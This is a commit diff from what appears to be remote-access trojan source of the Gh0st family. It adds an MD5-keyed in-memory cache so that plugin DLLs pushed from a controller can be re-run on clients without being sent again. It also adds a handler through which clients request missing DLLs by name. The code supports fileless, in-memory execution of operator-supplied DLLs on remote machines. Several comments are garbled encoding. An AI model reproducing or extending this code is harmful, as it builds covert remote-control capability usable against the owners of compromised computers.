Improvement: Save plugin DLL in memory
This commit is contained in:
@@ -198,13 +198,26 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|||||||
{
|
{
|
||||||
case CMD_EXECUTE_DLL: {
|
case CMD_EXECUTE_DLL: {
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
|
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
|
||||||
const int sz = 1 + sizeof(DllExecuteInfo);
|
const int sz = 1 + sizeof(DllExecuteInfo);
|
||||||
if (ulLength <= sz)break;
|
if (ulLength < sz)break;
|
||||||
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
|
||||||
|
const char* md5 = info->Md5;
|
||||||
|
auto find = m_MemDLL.find(md5);
|
||||||
|
if (find == m_MemDLL.end() && ulLength == sz) {
|
||||||
|
// <20><>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD>а<EFBFBD><D0B0><EFBFBD>DLL<4C><4C><EFBFBD>ݣ<EFBFBD><DDA3><EFBFBD><EFBFBD>ͻ<EFBFBD><CDBB>˼<EFBFBD><CBBC>Ȿ<EFBFBD><E2B1BE><EFBFBD>Ƿ<EFBFBD><C7B7>Ѿ<EFBFBD><D1BE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>DLL<4C><4C>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ִ<EFBFBD>д<EFBFBD><D0B4><EFBFBD>
|
||||||
|
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
|
||||||
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
|
if (info->Size == ulLength - sz && info->RunType == MEMORYDLL) {
|
||||||
|
if (md5[0]) m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
|
||||||
|
data = szBuffer + sz;
|
||||||
|
}
|
||||||
|
if (data) {
|
||||||
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
|
||||||
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, szBuffer + sz), 0, NULL));
|
CloseHandle(CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data), 0, NULL));
|
||||||
Mprintf("Execute '%s'%d succeed: %d Length: %d\n", info->Name, info->CallType, szBuffer[1], info->Size);
|
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
|
||||||
}
|
}
|
||||||
#endif
|
#endif
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -675,7 +675,8 @@ typedef struct DllExecuteInfo {
|
|||||||
int Size; // DLL <20><>С
|
int Size; // DLL <20><>С
|
||||||
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
|
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
|
||||||
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
|
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
|
||||||
char Reseverd[56];
|
char Md5[33]; // DLL MD5
|
||||||
|
char Reseverd[23];
|
||||||
}DllExecuteInfo;
|
}DllExecuteInfo;
|
||||||
|
|
||||||
enum
|
enum
|
||||||
|
|||||||
@@ -223,11 +223,13 @@ DllInfo* ReadPluginDll(const std::string& filename) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// 设置输出参数
|
// 设置输出参数
|
||||||
|
auto md5 = CalcMD5FromBytes(buffer + 1 + sizeof(DllExecuteInfo), fileSize);
|
||||||
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, };
|
DllExecuteInfo info = { MEMORYDLL, fileSize, CALLTYPE_IOCPTHREAD, };
|
||||||
memcpy(info.Name, name.c_str(), name.length());
|
memcpy(info.Name, name.c_str(), name.length());
|
||||||
|
memcpy(info.Md5, md5.c_str(), md5.length());
|
||||||
buffer[0] = CMD_EXECUTE_DLL;
|
buffer[0] = CMD_EXECUTE_DLL;
|
||||||
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
|
memcpy(buffer + 1, &info, sizeof(DllExecuteInfo));
|
||||||
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize);
|
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfo) + fileSize, 0, md5);
|
||||||
SAFE_DELETE_ARRAY(buffer);
|
SAFE_DELETE_ARRAY(buffer);
|
||||||
return new DllInfo{ name, buf };
|
return new DllInfo{ name, buf };
|
||||||
}
|
}
|
||||||
@@ -1639,6 +1641,17 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
}
|
}
|
||||||
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
switch (ContextObject->InDeCompressedBuffer.GetBYTE(0))
|
||||||
{
|
{
|
||||||
|
case CMD_EXECUTE_DLL: // 请求DLL
|
||||||
|
{
|
||||||
|
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
|
||||||
|
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i){
|
||||||
|
DllInfo* dll = *i;
|
||||||
|
if (dll->Name == info->Name) {
|
||||||
|
return m_iocpServer->OnClientPreSending(ContextObject, dll->Data->Buf(), dll->Data->length());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
break;
|
||||||
|
}
|
||||||
case COMMAND_PROXY:
|
case COMMAND_PROXY:
|
||||||
{
|
{
|
||||||
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
|
g_2015RemoteDlg->SendMessage(WM_OPENPROXYDIALOG, 0, (LPARAM)ContextObject);
|
||||||
@@ -2625,7 +2638,7 @@ void CMy2015RemoteDlg::OnDynamicSubMenu(UINT nID) {
|
|||||||
Buffer* buf = m_DllList[menuIndex]->Data;
|
Buffer* buf = m_DllList[menuIndex]->Data;
|
||||||
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
|
||||||
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
CONTEXT_OBJECT* ContextObject = (CONTEXT_OBJECT*)m_CList_Online.GetItemData(iItem);
|
||||||
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), buf->length());
|
m_iocpServer->OnClientPreSending(ContextObject, buf->Buf(), 1 + sizeof(DllExecuteInfo));
|
||||||
}
|
}
|
||||||
LeaveCriticalSection(&m_cs);
|
LeaveCriticalSection(&m_cs);
|
||||||
}
|
}
|
||||||
|
|||||||
Reference in New Issue
Block a user